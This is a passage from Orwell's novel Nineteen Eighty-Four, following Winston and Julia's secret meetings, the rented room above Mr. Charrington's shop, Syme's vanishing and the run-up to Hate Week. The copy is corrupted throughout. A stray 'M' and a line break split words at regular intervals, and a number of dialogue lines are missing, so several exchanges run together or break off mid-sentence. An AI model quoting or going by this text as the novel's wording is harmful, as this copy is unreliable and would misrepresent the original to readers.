o that they were kneeling face to face.
"Listen. The more men you've had, the more I love you. Do you understand that?"
"I hate purity, I hate goodness. I don't want any virtue to exist anywhere. I want everyone to be corrupt to the bones."
"Well then, I ought to suit you, dear. I'm corrupt to the bones."
"You like doing this? I don't mean simply me; I mean the thing in itself?"
That was above all what he wanted to hear. Not merely the love of one person, but the animal instinM
ct, the simple undifferentiated desire: that was the force that would tear the Party to pieces. He pressed her down upon the grass, among the fallen bluebells. This time there was no difficulty. Presently the rising and falling of their breasts slowed to normal speed, and in a sort of pleasant helplessness they fell apart. The sun seemed to have grown hotter. They were both sleepy. He reached out for the discarded overalls and pulled them partly over her. Almost immediately they fell asleep and slept for about halfM
Winston woke first. He sat up and watched the freckled face, still peacefully asleep, pillowed on the palm of her hand. Except for her mouth, you could not call her beautiful. There was a line or two round the eyes, if you looked closely. The short dark hair was extraordinarily thick and soft. It occurred to him that he still did not know her surname or where she lived.
The young, strong body, now helpless in sleep, awoke in him a pitying, protecting feeling. But the mindless tenderness that he had feltM
 under the hazel tree, while the thrush was singing, had not quite come back. He pulled the overalls aside and studied her smooth white flank. In the old days, he thought, a man looked at a girl's body and saw that it was desirable, and that was the end of the story. But you could not have pure love or pure lust nowadays. No emotion was pure, because everything was mixed up with fear and hatred. Their embrace had been a battle, the climax a victory. It was a blow struck against the Party. It was a political act.
"We can come here once again," said Julia. "It's generally safe to use any hide-out twice. But not for another month or two, of course."
As soon as she woke up her demeanor had changed. She became alert and businesslike, put her clothes on, knotted the scarlet sash about her waist, and began arranging the details of the journey home. It seemed natural to leave this to her. She obviously had a practical cunning which Winston lacked, and she seemed also to have an exhaustive knowledge of the countryside round LonM
don, stored away from innumerable community hikes. The route she gave him was quite different from the one by which he had come, and brought him out at a different railway station. "Never go home the same way as you went out," she said, as though enunciating an important general principle. She would leave first, and Winston was to wait half an hour before following her.
She had named a place where they could meet after work, four evenings hence. It was a street in one of the poorer quarters, where there was an opeM
n market which was generally crowded and noisy. She would be hanging about among the stalls, pretending to be in search of shoelaces or sewing thread. If she judged that the coast was clear she would blow her nose when he approached; otherwise he was to walk past her without recognition. But with luck, in the middle of the crowd, it would be safe to talk for a quarter of an hour and arrange another meeting.
"And now I must go," she said as soon as he had mastered his instructions. "I'm due back at nineteen-thirty.M
 I've got to put in two hours for the Junior Anti-Sex League, handing out leaflets, or something. Isn't it bloody? Give me a brush-down, would you. Have I got any twigs in my hair? Are you sure? Then good-by, my love, good-by!"
She flung herself into his arms, kissed him almost violently, and a moment later pushed her way through the saplings and disappeared into the wood with very little noise. Even now he had not found out her surname or her address. However, it made no difference, for it was inconceivable that M
they could ever meet indoors or exchange any kind of written communication.
As it happened they never went back to the clearing in the wood. During the month of May there was only one further occasion on which they actually succeeded in making love. That was in another hiding place known to Julia, the belfry of a ruined church in an almost-deserted stretch of country where an atomic bomb had fallen thirty years earlier. It was a good hiding place when once you got there, but the getting there was very dangerous. FM
or the rest they could meet only in the streets, in a different place every evening and never for more than half an hour at a time. In the street it was usually possible to talk, after a fashion. As they drifted down the crowded pavements, not quite abreast and never looking at one another, they carried on a curious, intermittent conversation which flicked on and off like the beams of a lighthouse, suddenly nipped into silence by the approach of a Party uniform or the proximity of a telescreen, then taken up again M
minutes later in the middle of a sentence, then abruptly cut short as they parted at the agreed spot, then continued almost without introduction on the following day. Julia appeared to be quite used to this kind of conversation, which she called "talking by installments." She was also surprisingly adept at speaking without moving her lips. Just once in almost a month of nightly meetings they managed to exchange a kiss. They were passing in silence down a side street (Julia would never speak when they were away fromM
 the main streets) when there was a deafening roar, the earth heaved and the air darkened, and Winston found himself lying on his side, bruised and terrified. A rocket bomb must have dropped quite near at hand. Suddenly he became aware of Julia's face a few centimeters from his own, deathly white, as white as chalk. Even her lips were white. She was dead! He clasped her against him, and found that he was kissing a live warm face. But there was some powdery stuff that got in the way of his lips. Both of their faces M
were thickly coated with plaster.
There were evenings when they reached their rendezvous and then had to walk past one another without a sign, because a patrol had just come round the corner or a helicopter was hovering overhead. Even if it had been less dangerous, it would still have been difficult to find time to meet. Winston's working week was sixty hours, Julia's was even longer, and their free days varied according to the pressure of work and did not often coincide. Julia, in any case, seldom had an evening M
completely free. She spent an astonishing amount of time in attending lectures and demonstrations, distributing literature for the Junior Anti-Sex League, preparing banners for Hate Week, making collections for the savings campaign, and suchlike activities. It paid, she said; it was camouflage. If you kept the small rules you could break the big ones. She even induced Winston to mortgage yet another of his evenings by enrolling himself for the part-time munition work which was done voluntarily by zealous Party membM
ers. So, one evening every week, Winston spent four hours of paralyzing boredom, screwing together small bits of metal which were probably parts of bomb fuses, in a draughty ill-lit workshop where the knocking of hammers mingled drearily with the music of the telescreens.
When they met in the church tower the gaps in their fragmentary conversation were filled up. It was a blazing afternoon. The air in the little square chamber above the bells was hot and stagnant, and smelt overpoweringly of pigeon dung. They sat M
talking for hours on the dusty, twig-littered floor, one or other of them getting up from time to time to cast a glance through the arrow slits and make sure that no one was coming.
Julia was twenty-six years old. She lived in a hostel with thirty other girls ("Always in the stink of women! How I hate women!" she said parenthetically), and she worked, as he had guessed, on the novel-writing machines in the Fiction Department. She enjoyed her work, which consisted chiefly in running and servicing a powerful but triM
cky electric motor. She was "not clever," but was fond of using her hands and felt at home with machinery. She could describe the whole process of composing a novel, from the general directive issued by the Planning Committee down to the final touching-up by the Rewrite Squad. But she was not interested in the finished product. She "didn't much care for reading," she said. Books were just a commodity that had to be produced, like jam or bootlaces.
She had no memories of anything before the early Sixties, and the oM
nly person she had ever known who talked frequently of the days before the Revolution was a grandfather who had disappeared when she was eight. At school she had been captain of the hockey team and had won the gymnastics trophy two years running. She had been a troop leader in the Spies and a branch secretary in the Youth League before joining the Junior Anti-Sex League. She had always borne an excellent character. She had even (an infallible mark of good reputation) been picked out to work in Pornosec, the sub-secM
tion of the Fiction Department which turned out cheap pornography for distribution among the proles. It was nicknamed Muck House by the people who worked in it, she remarked. There she had remained for a year, helping to produce booklets in sealed packets with titles like Spanking Stories or One Night in a Girls' School, to be bought furtively by proletarian youths who were under the impression that they were buying something illegal.
"What are these books like?" said Winston curiously.
"Oh, ghastly rubbish. TheyM
're boring, really. They only have six plots, but they swap them round a bit. Of course I was only on the kaleidoscopes. I was never in the Rewrite Squad. I'm not literary, dear
not even enough for that."
He learned with astonishment that all the workers in Pornosec, except the head of the department, were girls. The theory was that men, whose sex instincts were less controllable than those of women, were in greater danger of being corrupted by the filth they handled.
"They don't even like having married women M
there," she added. "Girls are always supposed to be so pure. Here's one who isn't, anyway."
She had had her first love affair when she was sixteen, with a Party member of sixty who later committed suicide to avoid arrest. "And a good job too," said Julia. "Otherwise they'd have had my name out of him when he confessed." Since then there had been various others. Life as she saw it was quite simple. You wanted a good time; "they," meaning the Party, wanted to stop you having it; you broke the rules as best you couldM
. She seemed to think it just as natural that "they" should want to rob you of your pleasures as that you should want to avoid being caught. She hated the Party, and said so in the crudest words, but she made no general criticism of it. Except where it touched upon her own life she had no interest in Party doctrine. He noticed that she never used Newspeak words, except the ones that had passed into everyday use. She had never heard of the Brotherhood, and refused to believe in its existence. Any kind of organized rM
evolt against the Party, which was bound to be a failure, struck her as stupid. The clever thing was to break the rules and stay alive all the same. He wondered vaguely how many others like her there might be in the younger generation
people who had grown up in the world of the Revolution, knowing nothing else, accepting the Party as something unalterable, like the sky, not rebelling against its authority but simply evading it, as a rabbit dodges a dog.
They did not discuss the possibility of getting married. ItM
 was too remote to be worth thinking about. No imaginable committee would ever sanction such a marriage even if Katharine, Winston's wife, could somehow have been got rid of. It was hopeless even as a daydream.
"What was she like, your wife?" said Julia.
do you know the Newspeak word goodthinkful? Meaning naturally orthodox, incapable of thinking a bad thought?"
"No, I didn't know the word, but I know the kind of person, right enough."
He began telling her the story of his married life, but curiouslyM
 enough she appeared to know the essential parts of it already. She described to him, almost as though she had seen or felt it, the stiffening of Katharine's body as soon as he touched her, the way in which she still seemed to be pushing him from her with all her strength, even when her arms were clasped tightly round him. With Julia he felt no difficulty in talking about such things; Katharine, in any case, had long ceased to be a painful memory and become merely a distasteful one.
"I could have stood it if it haM
dn't been for one thing," he said. He told her about the frigid little ceremony that Katharine had forced him to go through on the same night every week. "She hated it, but nothing would make her stop doing it. She used to call it
but you'll never guess."
"Our duty to the Party," said Julia promptly.
"How did you know that?"
"I've been at school too, dear. Sex talks once a month for the over-sixteens. And in the Youth Movement. They rub it into you for years. I dare say it works in a lot of cases. But of coursM
e you can never tell; people are such hypocrites."
She began to enlarge upon the subject. With Julia, everything came back to her own sexuality. As soon as this was touched upon in any way she was capable of great acuteness. Unlike Winston, she had grasped the inner meaning of the Party's sexual puritanism. It was not merely that the sex instinct created a world of its own which was outside the Party's control and which therefore had to be destroyed if possible. What was more important was that sexual privation inM
duced hysteria, which was desirable because it could be transformed into war fever and leader worship. The way she put it was:
"When you make love you're using up energy; and afterwards you feel happy and don't give a damn for anything. They can't bear you to feel like that. They want you to be bursting with energy all the time. All this marching up and down and cheering and waving flags is simply sex gone sour. If you're happy inside yourself, why should you get excited about Big Brother and the Three-Year Plans M
and the Two Minutes Hate and all the rest of their bloody rot?"
That was very true, he thought. There was a direct, intimate connection between chastity and political orthodoxy. For how could the fear, the hatred, and the lunatic credulity which the Party needed in its members be kept at the right pitch except by bottling down some powerful instinct and using it as a driving force? The sex impulse was dangerous to the Party, and the Party had turned it to account. They had played a similar trick with the instinct M
of parenthood. The family could not actually be abolished, and, indeed, people were encouraged to be fond of their children in almost the old-fashioned way. The children, on the other hand, were systematically turned against their parents and taught to spy on them and report their deviations. The family had become in effect an extension of the Thought Police. It was a device by means of which everyone could be surrounded night and day by informers who knew him intimately.
Abruptly his mind went back to Katharine. M
Katharine would unquestionably have denounced him to the Thought Police if she had not happened to be too stupid to detect the unorthodoxy of his opinions. But what really recalled her to him at this moment was the stifling heat of the afternoon, which had brought the sweat out on his forehead. He began telling Julia of something that had happened, or rather had failed to happen, on another sweltering summer afternoon, eleven years ago.
It was three or four months after they were married. They had lost their way oM
n a community hike somewhere in Kent. They had only lagged behind the others for a couple of minutes, but they took a wrong turning, and presently found themselves pulled up short by the edge of an old chalk quarry. It was a sheer drop of ten or twenty meters, with boulders at the bottom. There was nobody of whom they could ask the way. As soon as she realized that they were lost Katharine became very uneasy. To be away from the noisy mob of hikers even for a moment gave her a feeling of wrongdoing. She wanted to hM
urry back by the way they had come and start searching in the other direction. But at this moment Winston noticed some tufts of loose-strife growing in the cracks of the cliff beneath them. One tuft was of two colors, magenta and brick red, apparently growing on the same root. He had never seen anything of the kind before, and he called to Katharine to come and look at it.
"Look, Katharine! Look at those flowers. That clump down near the bottom. Do you see they're two different colors?"
She had already turned to M
go, but she did rather fretfully come back for a moment. She even leaned out over the cliff face to see where he was pointing. He was standing a little behind her, and he put his hand on her waist to steady her. At this moment it suddenly occurred to him how completely alone they were. There was not a human creature anywhere, not a leaf stirring, not even a bird awake. In a place like this the danger that there would be a hidden microphone was very small, and even if there was a microphone it would only pick up souM
nds. It was the hottest, sleepiest hour of the afternoon. The sun blazed down upon them, the sweat tickled his face. And the thought struck him....
"Why didn't you give her a good shove?" said Julia. "I would have."
"Yes, dear, you would have. I would have, if I'd been the same person then as I am now. Or perhaps I would
"Are you sorry you didn't?"
"Yes. On the whole I'm sorry I didn't."
They were sitting side by side on the dusty floor. He pulled her closer against him. Her head rested on M
his shoulder, the pleasant smell of her hair conquering the pigeon dung. She was very young, he thought, she still expected something from life, she did not understand that to push an inconvenient person over a cliff solves nothing.
"Actually it would have made no difference," he said.
"Then why are you sorry you didn't do it?"
"Only because I prefer a positive to a negative. In this game that we're playing, we can't win. Some kinds of failure are better than other kinds, that's all."
He felt her shoulders giveM
 a wriggle of dissent. She always contradicted him when he said anything of this kind. She would not accept it as a law of nature that the individual is always defeated. In a way she realized that she herself was doomed, that sooner or later the Thought Police would catch her and kill her, but with another part of her mind she believed that it was somehow possible to construct a secret world in which you could live as you chose. All you needed was luck and cunning and boldness. She did not understand that there wasM
 no such thing as happiness, that the only victory lay in the far future, long after you were dead, that from the moment of declaring war on the Party it was better to think of yourself as a corpse.
"We are the dead," he said.
"We're not dead yet," said Julia prosaically.
"Not physically. Six months, a year
five years, conceivably. I am afraid of death. You are young, so presumably you're more afraid of it than I am. Obviously we shall put it off as long as we can. But it makes very little difference. So long M
as human beings stay human, death and life are the same thing."
"Oh, rubbish! Which would you sooner sleep with, me or a skeleton? Don't you enjoy being alive? Don't you like feeling: This is me, this is my hand, this is my leg, I'm real, I'm solid, I'm alive! Don't you like this?"
She twisted herself round and pressed her bosom against him. He could feel her breasts, ripe yet firm, through her overalls. Her body seemed to be pouring some of its youth and vigor into his.
"Yes, I like that," he said.
talking about dying. And now listen, dear, we've got to fix up about the next time we meet. We may as well go back to the place in the wood. We've given it a good long rest. But you must get there by a different way this time. I've got it all planned out. You take the train
but look, I'll draw it out for you."
And in her practical way she scraped together a small square of dust, and with a twig from a pigeon's nest began drawing a map on the floor.
Winston looked round the shabby little room above Mr. CharriM
ngton's shop. Beside the window the enormous bed was made up, with ragged blankets and a coverless bolster. The old-fashioned clock with the twelve-hour face was ticking away on the mantelpiece. In the corner, on the gateleg table, the glass paperweight which he had bought on his last visit gleamed softly out of the half-darkness.
In the fender was a battered tin oilstove, a saucepan and two cups, provided by Mr. Charrington. Winston lit the burner and set a pan of water to boil. He had brought an envelope full ofM
 Victory Coffee and some saccharine tablets. The clock's hands said seven-twenty; it was nineteen-twenty really. She was coming at nineteen-thirty.
Folly, folly, his heart kept saying: conscious, gratuitous, suicidal folly! Of all the crimes that a Party member could commit, this one was the least possible to conceal. Actually the idea had first floated into his head in the form of a vision of the glass paperweight mirrored by the surface of the gateleg table. As he had foreseen, Mr. Charrington had made no difficM
ulty about letting the room. He was obviously glad of the few dollars that it would bring him. Nor did he seem shocked or become offensively knowing when it was made clear that Winston wanted the room for the purpose of a love affair. Instead he looked into the middle distance and spoke in generalities, with so delicate an air as to give the impression that he had become partly invisible. Privacy, he said, was a very valuable thing. Everyone wanted a place where they could be alone occasionally. And when they had sM
uch a place, it was only common courtesy in anyone else who knew of it to keep his knowledge to himself. He even, seeming almost to fade out of existence as he did so, added that there were two entries to the house, one of them through the backyard, which gave on an alley.
Under the window somebody was singing. Winston peeped out, secure in the protection of the muslin curtain. The June sun was still high in the sky, and in the sun-filled court below a monstrous woman, solid as a Norman pillar, with brawny red forM
earms and a sacking apron strapped about her middle, was stumping to and fro between a washtub and a clothesline, pegging out a series of square white things which Winston recognized as babies' diapers. Whenever her mouth was not corked with clothes pegs she was singing in a powerful contralto:
"It was only an 'opeless fancy,
It passed like an Ipril dye,
But a look an' a word an' the dreams they stirred
They 'ave stolen my 'eart awye!"
The tune had been haunting London for weeks past. It was one of countless similM
ar songs published for the benefit of the proles by a sub-section of the Music Department. The words of these songs were composed without any human intervention whatever on an instrument known as a versificator. But the woman sang so tunefully as to turn the dreadful rubbish into an almost pleasant sound. He could hear the woman singing and the scrape of her shoes on the flagstones, and the cries of the children in the street, and somewhere in the far distance a faint roar of traffic, and yet the room seemed curiouM
sly silent, thanks to the absence of a telescreen.
Folly, folly, folly! he thought again. It was inconceivable that they could frequent this place for more than a few weeks without being caught. But the temptation of having a hiding place that was truly their own, indoors and near at hand, had been too much for both of them. For some time after their visit to the church belfry it had been impossible to arrange meetings. Working hours had been drastically increased in anticipation of Hate Week. It was more than a mM
onth distant, but the enormous, complex preparations that it entailed were throwing extra work onto everybody. Finally both of them managed to secure a free afternoon on the same day. They had agreed to go back to the clearing in the wood. On the evening beforehand they met briefly in the street. As usual Winston hardly looked at Julia as they drifted toward one another in the crowd, but from the short glance he gave her it seemed to him that she was paler than usual.
"It's all off," she murmured as soon as she juM
dged it safe to speak. "Tomorrow, I mean."
"Tomorrow afternoon. I can't come."
"Oh, the usual reason. It's started early this time."
For a moment he was violently angry. During the month that he had known her the nature of his desire for her had changed. At the beginning there had been little true sensuality in it. Their first love-making had been simply an act of the will. But after the second time it was different. The smell of her hair, the taste of her mouth, the feeling of her skin seemM
ed to have got inside him, or into the air all round him. She had become a physical necessity, something that he not only wanted but felt that he had a right to. When she said that she could not come, he had the feeling that she was cheating him. But just at this moment the crowd pressed them together and their hands accidentally met. She gave the tips of his fingers a quick squeeze that seemed to invite not desire but affection. It struck him that when one lived with a woman this particular disappointment must be M
a normal, recurring event; and a deep tenderness, such as he had not felt for her before, suddenly took hold of him. He wished that they were a married couple of ten years' standing. He wished that he were walking through the streets with her just as they were doing now, but openly and without fear, talking of trivialities and buying odds and ends for the household. He wished above all that they had some place where they could be alone together without feeling the obligation to make love every time they met. It wasM
 not actually at that moment, but at some time on the following day, that the idea of renting Mr. Charrington's room had occurred to him. When he suggested it to Julia she had agreed with unexpected readiness. Both of them knew that it was lunacy. It was as though they were intentionally stepping nearer to their graves. As he sat waiting on the edge of the bed he thought again of the cellars of the Ministry of Love. It was curious how that predestined horror moved in and out of one's consciousness. There it lay, fiM
xed in future time, preceding death as surely as 99 precedes 100. One could not avoid it, but one could perhaps postpone it; and yet instead, every now and again, by a conscious, willful act, one chose to shorten the interval before it happened.
At this moment there was a quick step on the stairs. Julia burst into the room. She was carrying a tool bag of coarse brown canvas, such as he had sometimes seen her carrying to and fro at the Ministry. He started forward to take her in his arms, but she disengaged herselfM
 rather hurriedly, partly because she was still holding the tool bag.
"Half a second," she said. "Just let me show you what I've brought. Did you bring some of that filthy Victory Coffee? I thought you would. You can chuck it away again, because we shan't be needing it. Look here."
She fell on her knees, threw open the bag, and tumbled out some spanners and a screwdriver that filled the top part of it. Underneath was a number of neat paper packets. The first packet that she passed to Winston had a strange and yetM
 vaguely familiar feeling. It was filled with some kind of heavy, sandlike stuff which yielded wherever you touched it.
"It isn't sugar?" he said.
"Real sugar. Not saccharine, sugar. And here's a loaf of bread
proper white bread, not our bloody stuff
and a little pot of jam. And here's a tin of milk
but look! This is the one I'm really proud of. I had to wrap a bit of sacking round it, because
But she did not need to tell him why she had wrapped it up. The smell was already filling the room, a rich hotM
 smell which seemed like an emanation from his early childhood, but which one did occasionally meet with even now, blowing down a passageway before a door slammed, or diffusing itself mysteriously in a crowded street, sniffed for an instant and then lost again.
"It's coffee," he murmured, "real coffee."
"It's Inner Party coffee. There's a whole kilo here," she said.
"How did you manage to get hold of all these things?"
"It's all Inner Party stuff. There's nothing those swine don't have, nothing. But of course wM
aiters and servants and people pinch things, and
look, I got a little packet of tea as well."
Winston had squatted down beside her. He tore open a corner of the packet.
"It's real tea. Not blackberry leaves."
"There's been a lot of tea about lately. They've captured India, or something," she said vaguely. "But listen, dear. I want you to turn your back on me for three minutes. Go and sit on the other side of the bed. Don't go too near the window. And don't turn round till I tell you."
Winston gazed abstractedM
ly through the muslin curtain. Down in the yard the red-armed woman was still marching to and fro between the washtub and the line. She took two more pegs out of her mouth and sang with deep feeling:
"They sye that time 'eals all things,
They sye you can always forget;
But the smiles an the tears across the years
They twist my 'eartstrings yet!"
She knew the whole driveling song by heart, it seemed. Her voice floated upward with the sweet summer air, very tuneful, charged with a sort of happy melancholy. One had tM
he feeling that she would have been perfectly content if the June evening had been endless and the supply of clothes inexhaustible, to remain there for a thousand years, pegging out diapers and singing rubbish. It struck him as a curious fact that he had never heard a member of the Party singing alone and spontaneously. It would even have seemed slightly unorthodox, a dangerous eccentricity, like talking to oneself. Perhaps it was only when people were somewhere near the starvation level that they had anything to sM
"You can turn round now," said Julia.
He turned round, and for a second almost failed to recognize her. What he had actually expected was to see her naked. But she was not naked. The transformation that had happened was much more surprising than that. She had painted her face.
She must have slipped into some shop in the proletarian quarters and bought herself a complete set of make-up materials. Her lips were deeply reddened, her cheeks rouged, her nose powdered; there was even a touch of something unM
der the eyes to make them brighter. It was not very skillfully done, but Winston's standards in such matters were not high. He had never before seen or imagined a woman of the Party with cosmetics on her face. The improvement in her appearance was startling. With just a few dabs of color in the right places she had become not only very much prettier, but, above all, far more feminine. Her short hair and boyish overalls merely added to the effect. As he took her in his arms a wave of synthetic violets flooded his noM
strils. He remembered the half-darkness of a basement kitchen and a woman's cavernous mouth. It was the very same scent that she had used; but at the moment it did not seem to matter.
"Scent, too!" he said.
"Yes, dear, scent, too. And do you know what I'm going to do next? I'm going to get hold of a real woman's frock from somewhere and wear it instead of these bloody trousers. I'll wear silk stockings and high-heeled shoes! In this room I'm going to be a woman, not a Party comrade."
They flung their clothes offM
 and climbed into the huge mahogany bed. It was the first time that he had stripped himself naked in her presence. Until now he had been too much ashamed of his pale and meager body, with the varicose veins standing out on his calves and the discolored patch over his ankle. There were no sheets, but the blanket they lay on was threadbare and smooth, and the size and springiness of the bed astonished both of them. "It's sure to be full of bugs, but who cares?" said Julia. One never saw a double bed nowadays except iM
n the homes of the proles. Winston had occasionally slept in one in his boy-hood; Julia had never been in one before, so far as she could remember.
Presently they fell asleep for a little while. When Winston woke up the hands of the clock had crept round to nearly nine. He did not stir, because Julia was sleeping with her head in the crook of his arm. Most of her make-up had transferred itself to his own face or the bolster, but a light stain of rouge still brought out the beauty of her cheekbone. A yellow ray froM
m the sinking sun fell across the foot of the bed and lighted up the fireplace, where the water in the pan was boiling fast. Down in the yard the woman had stopped singing, but the faint shouts of children floated in from the street. He wondered vaguely whether in the abolished past it had been a normal experience to lie in bed like this, in the cool of a summer evening, a man and a woman with no clothes on, making love when they chose, talking of what they chose, not feeling any compulsion to get up, simply lying M
there and listening to peaceful sounds outside. Surely there could never have been a time when that seemed ordinary. Julia woke up, rubbed her eyes, and raised herself on her elbow to look at the oilstove.
"Half that water's boiled away," she said. "I'll get up and make some coffee in another moment. We've got an hour. What time do they cut the lights off at your flats?"
"Twenty-three thirty."
"It's twenty-three at the hostel. But you have to get in earlier than that, because
Hi! Get out, you filthy brute!"
he suddenly twisted herself over in the bed, seized a shoe from the floor, and sent it hurtling into the corner with a boyish jerk of her arm, exactly as he had seen her fling the dictionary at Goldstein, that morning during the Two Minutes Hate.
"What was it?" he said in surprise.
"A rat. I saw him stick his beastly nose out of the wainscoting. There's a hole down there. I gave him a good fright, anyway."
"Rats!" murmured Winston. "In this room!"
"They're all over the place," said Julia indifferently as she laM
y down again. "We've even got them in the kitchen at the hostel. Some parts of London are swarming with them. Did you know they attack children? Yes, they do. In some of these streets a woman daren't leave a baby alone for two minutes. It's the great huge brown ones that do it. And the nasty thing is that the brutes always
"Don't go on!" said Winston, with his eyes tightly shut.
"Dearest! You've gone quite pale. What's the matter? Do they make you feel sick?"
"Of all horrors in the world
ed herself against him and wound her limbs round him, as though to reassure him with the warmth of her body. He did not reopen his eyes immediately. For several moments he had had the feeling of being back in a nightmare which had recurred from time to time throughout his life. It was always very much the same. He was standing in front of a wall of darkness, and on the other side of it there was something unendurable, something too dreadful to be faced. In the dream his deepest feeling was always one of self-deceptM
ion, because he did in fact know what was behind the wall of darkness. With a deadly effort, like wrenching a piece out of his own brain, he could even have dragged the thing into the open. He always woke up without discovering what it was, but somehow it was connected with what Julia had been saying when he cut her short.
"I'm sorry," he said. "It's nothing. I don't like rats, that's all."
"Don't worry, dear, we're not going to have the filthy brutes in here. I'll stuff the hole with a bit of sacking before we gM
o. And next time we come here I'll bring some plaster and bung it up properly."
Already the black instant of panic was half-forgotten. Feeling slightly ashamed of himself, he sat up against the bedhead. Julia got out of bed, pulled on her overalls, and made the coffee. The smell that rose from the saucepan was so powerful and exciting that they shut the window lest anybody outside should notice it and become inquisitive. What was even better than the taste of the coffee was the silky texture given to it by the sugM
ar, a thing Winston had almost forgotten after years of saccharine. With one hand in her pocket and a piece of bread and jam in the other, Julia wandered about the room, glancing indifferently at the bookcase, pointing out the best way of repairing the gateleg table, plumping herself down in the ragged armchair to see if it was comfortable, and examining the absurd twelve-hour clock with a sort of tolerant amusement. She brought the glass paperweight over to the bed to have a look at it in a better light. He took iM
t out of her hand, fascinated as always by the soft, rainwatery appearance of the glass.
"What is it, do you think?" said Julia.
"I don't think it's anything
I mean, I don't think it was ever put to any use. That's what I like about it. It's a little chunk of history that they've forgotten to alter. It's a message from a hundred years ago, if one knew how to read it."
"And that picture over there
" she nodded at the engraving on the opposite wall
"would that be a hundred years old?"
"More. Two hundred, I M
dare say. One can't tell. It's impossible to discover the age of anything nowadays."
She went over to look at it. "Here's where that brute stuck his nose out," she said, kicking the wainscoting immediately below the picture. "What is this place? I've seen it before somewhere."
"It's a church, or at least it used to be. St. Clement's Dane its name was." The fragment of rhyme that Mr. Charrington had taught him came back into his head, and he added half-nostalgically: "Oranges and lemons, say the bells of St. ClemeM
To his astonishment she capped the line:
"You owe me three farthings, say the bells of St. Martin's,
When will you pay me? say the bells of Old Bailey
"I can't remember how it goes on after that. But anyway I remember it ends up, Here comes a candle to light you to bed, here comes a chopper to chop off your head!"
It was like the two halves of a countersign. But there must be another line after the bells of Old Bailey. Perhaps it could be dug out of Mr. Charrington's memory, if he were suitably prompteM
"Who taught you that?" he said.
"My grandfather. He used to say it to me when I was a little girl. He was vaporized when I was eight
at any rate, he disappeared. I wonder what a lemon was," she added inconsequently. "I've seen oranges. They're a kind of round yellow fruit with a thick skin."
"I can remember lemons," said Winston. "They were quite common in the Fifties. They were so sour that it set your teeth on edge even to smell them."
"I bet that picture's got bugs behind it," said Julia. "I'll take it M
down and give it a good clean some day. I suppose it's almost time we were leaving. I must start washing this paint off. What a bore! I'll get the lipstick off your face afterwards."
Winston did not get up for a few minutes more. The room was darkening. He turned over toward the light and lay gazing into the glass paperweight. The inexhaustibly interesting thing was not the fragment of coral but the interior of the glass itself. There was such a depth of it, and yet it was almost as transparent as air. It was as tM
hough the surface of the glass had been the arch of the sky, enclosing a tiny world with its atmosphere complete. He had the feeling that he could get inside it, and that in fact he was inside it, along with the mahogany bed and the gateleg table and the clock and the steel engraving and the paperweight itself. The paperweight was the room he was in, and the coral was Julia's life and his own, fixed in a sort of eternity at the heart of the crystal.
Syme had vanished. A morning came, and he was missing from workM
; a few thoughtless people commented on his absence. On the next day nobody mentioned him. On the third day Winston went into the vestibule of the Records Department to look at the notice board. One of the notices carried a printed list of the members of the Chess Committee, of whom Syme had been one. It looked almost exactly as it had looked before
nothing had been crossed out
but it was one name shorter. It was enough. Syme had ceased to exist; he had never existed.
The weather was baking hot. In the labyrinM
thine Ministry the windowless, air-conditioned rooms kept their normal temperature, but outside the pavements scorched one's feet and the stench of the Tubes at the rush hours was a horror. The preparations for Hate Week were in full swing, and the staffs of all the Ministries were working overtime. Processions, meetings, military parades, lectures, waxwork displays, film shows, telescreen programs all had to be organized; stands had to be erected, effigies built, slogans coined, songs written, rumors circulated, pM
hotographs faked. Julia's unit in the Fiction Department had been taken off the production of novels and was rushing out a series of atrocity pamphlets. Winston, in addition to his regular work, spent long periods every day in going through back files of the Times and altering and embellishing news items which were to be quoted in speeches. Late at night, when crowds of rowdy proles roamed the streets, the town had a curiously febrile air. The rocket bombs crashed oftener than ever, and sometimes in the far distancM
e there were enormous explosions which no one could explain and about which there were wild rumors.
The new tune which was to be the theme song of Hate Week (the "Hate Song," it was called) had already been composed and was being endlessly plugged on the telescreens. It had a savage, barking rhythm which could not exactly be called music, but resembled the beating of a drum. Roared out by hundreds of voices to the tramp of marching feet, it was terrifying. The proles had taken a fancy to it, and in the midnight stM
reets it competed with the still-popular "It Was Only a Hopeless Fancy." The Parsons children played it at all hours of the night and day, unbearably, on a comb and a piece of toilet paper. Winston's evenings were fuller than ever. Squads of volunteers, organized by Parsons, were preparing the street for Hate Week, stitching banners, painting posters, erecting flagstaffs on the roofs, and perilously slinging wires across the street for the reception of streamers. Parsons boasted that Victory Mansions alone would diM
splay four hundred meters of bunting. He was in his native element and as happy as a lark. The heat and the manual work had even given him a pretext for reverting to shorts and an open shirt in the evenings. He was everywhere at once, pushing, pulling, sawing, hammering, improvising, jollying everyone along with comradely exhortations and giving out from every fold of his body what seemed an inexhaustible supply of acrid-smelling sweat.
A new poster had suddenly appeared all over London. It had no caption, and repM
resented simply the monstrous figure of a Eurasian soldier, three or four meters high, striding forward with expressionless Mongolian face and enormous boots, a submachine gun pointed from his hip. From whatever angle you looked at the poster, the muzzle of the gun, magnified by the foreshortening, seemed to be pointed straight at you. The thing had been plastered on every blank space on every wall, even outnumbering the portraits of Big Brother. The proles, normally apathetic about the war, were being lashed into M
one of their periodical frenzies of patriotism. As though to harmonize with the general mood, the rocket bombs had been killing larger numbers of people than usual. One fell on a crowded film theater in Stepney, burying several hundred victims among the ruins. The whole population of the neighborhood turned out for a long, trailing funeral which went on for hours and was in effect an indignation meeting. Another bomb fell on a piece of waste ground which was used as a playground, and several dozen children were bloM
wn to pieces. There were further angry demonstrations, Goldstein was burned in effigy, hundreds of copies of the poster of the Eurasian soldier were torn down and added to the flames, and a number of shops were looted in the turmoil; then a rumor flew round that spies were directing the rocket bombs by means of wireless waves, and an old couple who were suspected of being of foreign extraction had their house set on fire and perished of suffocation.
In the room over Mr. Charrington's shop, when they could get therM
e, Julia and Winston lay side by side on a stripped bed under the open window, naked for the sake of coolness. The rat had never come back, but the bugs had multiplied hideously in the heat. It did not seem to matter. Dirty or clean, the room was paradise. As soon as they arrived they would sprinkle everything with pepper bought on the blacket market, tear off their clothes and make love with sweating bodies, then fall asleep and wake to find that the bugs had rallied and were massing for the counter-attack.
seven times they met during the month of June. Winston had dropped his habit of drinking gin at all hours. He seemed to have lost the need for it. He had grown fatter, his varicose ulcer had subsided, leaving only a brown stain on the skin above his ankle, his fits of coughing in the early morning had stopped. The process of life had ceased to be intolerable, he had no longer any impulse to make faces at the telescreen or shout curses at the top of his voice. Now that they had a secure hiding place, alM
